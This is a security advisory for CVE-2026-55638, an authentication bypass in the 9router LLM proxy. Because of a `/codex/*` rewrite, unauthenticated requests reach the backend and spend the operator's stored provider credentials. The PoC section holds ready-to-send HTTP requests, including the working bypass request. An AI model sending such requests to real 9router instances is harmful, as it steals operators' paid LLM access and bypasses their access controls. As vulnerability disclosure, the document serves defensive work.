CVE-2026-55638 — Vulnerability in 9router — CVE Details

## Summary 9router exposes an OpenAI/Anthropic-compatible LLM proxy. Remote access to this proxy is intended to be protected by an API-key check in the Next.js middleware. However, 9router also defines a rewrite that maps `/codex/*` to the backend LLM endpoint `/api/v1/responses`. The middleware authorization decision is made on the incoming request path before the rewrite is applied. Because `/codex` is not included in the middleware's protected LLM API prefix list, requests to `/codex/*` bypass the API-key gate and are later rewritten to the same backend used by `/api/v1/responses`. As a result, an unauthenticated remote attacker can access the LLM proxy through `/codex/*` and cause the server to make upstream provider calls using the operator-stored LLM provider credentials. ## Details | Component | File | Note | | ----------------------------- | ----------------------------------- | ------------------------------------------------------------------------- | | Middleware authorization gate | `src/dashboardGuard.js` | Protects `/v1`, `/v1beta`, `/api/v1`, and `/api/v1beta`, but not `/codex` | | Rewrite configuration | `next.config.mjs` | Rewrites `/codex/:path*` to `/api/v1/responses` | | LLM backend route | `src/app/api/v1/responses/route.js` | Dispatches rewritten requests to the LLM handler | | Chat handler | `src/sse/handlers/chat.js` | Uses operator-stored provider credentials for upstream calls | Tested version: | Version / Commit | Runtime | Status | | ------------------------------------------------------------ | ---------------- | -------- | | `v0.4.80`, commit `23da7b1fe3bb8edd2bdbdb63fbbb15a476b02c56` | Next.js `16.2.9` | Affected | ### Root Cause The middleware classifies requests by the original incoming pathname. The protected public LLM API prefixes are: ```js PUBLIC_PREFIXES = ["/v1", "/v1beta", "/api/v1", "/api/v1beta"]; ``` Because `/codex` is not included in this list, a request such as `/codex/x` does not enter the LLM API authorization branch and falls through to: ```js return NextResponse.next(); ``` The rewrite configuration then maps the allowed request to the protected backend route: ```js { source: "/codex/:path*", destination: "/api/v1/responses" } ``` The backend route reaches the same handler used by the canonical LLM endpoint: ```js return await handleChat(request); ``` The handler then processes the request and performs the upstream LLM provider call. In the tested configuration, the handler does not repeat the same middleware API-key gate for remote callers, so the rewritten request is served after bypassing the intended authorization check. ## PoC The following requests use the same target server and the same remote-style `Host` header. The only meaningful difference is the request path. ### Case 01 — Protected canonical endpoint rejects unauthenticated access ```http POST /api/v1/responses HTTP/1.1 Host: evil.attacker.com Content-Type: application/json Content-Length: 156 {"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]} ``` Observed result: ```http HTTP/1.1 401 Unauthorized ``` This confirms that the canonical `/api/v1/responses` path is protected by the intended API-key gate. ### Case 02 — Rewritten `/codex/*` path bypasses the API-key gate ```http POST /codex/x HTTP/1.1 Host: evil.attacker.com Content-Type: application/json Content-Length: 156 {"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]} ``` Observed result: ```http HTTP/1.1 200 OK ``` The request reaches the LLM backend without an API key. A controlled upstream provider endpoint recorded the outbound request from 9router: ```text POST /responses Authorization: Bearer NINEROUTER_OPERATOR_STORED_KEY_MARKER request-body marker present: true operator key marker in Authorization: true ``` This confirms that the unauthenticated `/codex/*` request causes 9router to make an upstream provider call using the operator-stored credentials. ### Case 03 — Unrelated unknown path does not reach the backend ```http POST /notcodex/x HTTP/1.1 Host: evil.attacker.com Content-Type: application/json Content-Length: 156 {"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]} ``` Observed result: ```http HTTP/1.1 404 Not Found ``` No upstream provider call is made. This isolates the issue to the `/codex/*` rewrite. ### Case 04 — Canonical endpoint succeeds only with a valid API key ```http POST /api/v1/responses HTTP/1.1 Host: evil.attacker.com Authorization: Bearer sk-REDACTED Content-Type: application/json Content-Length: 156 {"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]} ``` Observed result: ```http HTTP/1.1 200 OK ``` This confirms that the canonical endpoint is functional and that the `401` response in Case 01 is an authorization failure, not a backend error. ## Attack Scenario 1. A remote attacker identifies a publicly reachable 9router instance. 2. The attacker sends LLM proxy requests to `/codex/*` instead of `/api/v1/responses`. 3. The middleware evaluates the original `/codex/*` path and does not apply the LLM API-key gate. 4. The rewrite maps the request to `/api/v1/responses`. 5. The backend processes the request and performs an upstream provider call. 6. The upstream call uses the operator-stored provider credentials. ## Impact A successful attacker can use the operator's configured LLM provider account without authentication. Likely consequences include: * Unauthorized use of the 9router LLM proxy. * Consumption of the operator's provider credits or quota. * Unexpected billing impact. * Abuse of configured OpenAI/Anthropic-compatible providers. * Exposure of model/provider behavior through proxy responses. * Bypass of the intended API-key access control for remote LLM proxy access.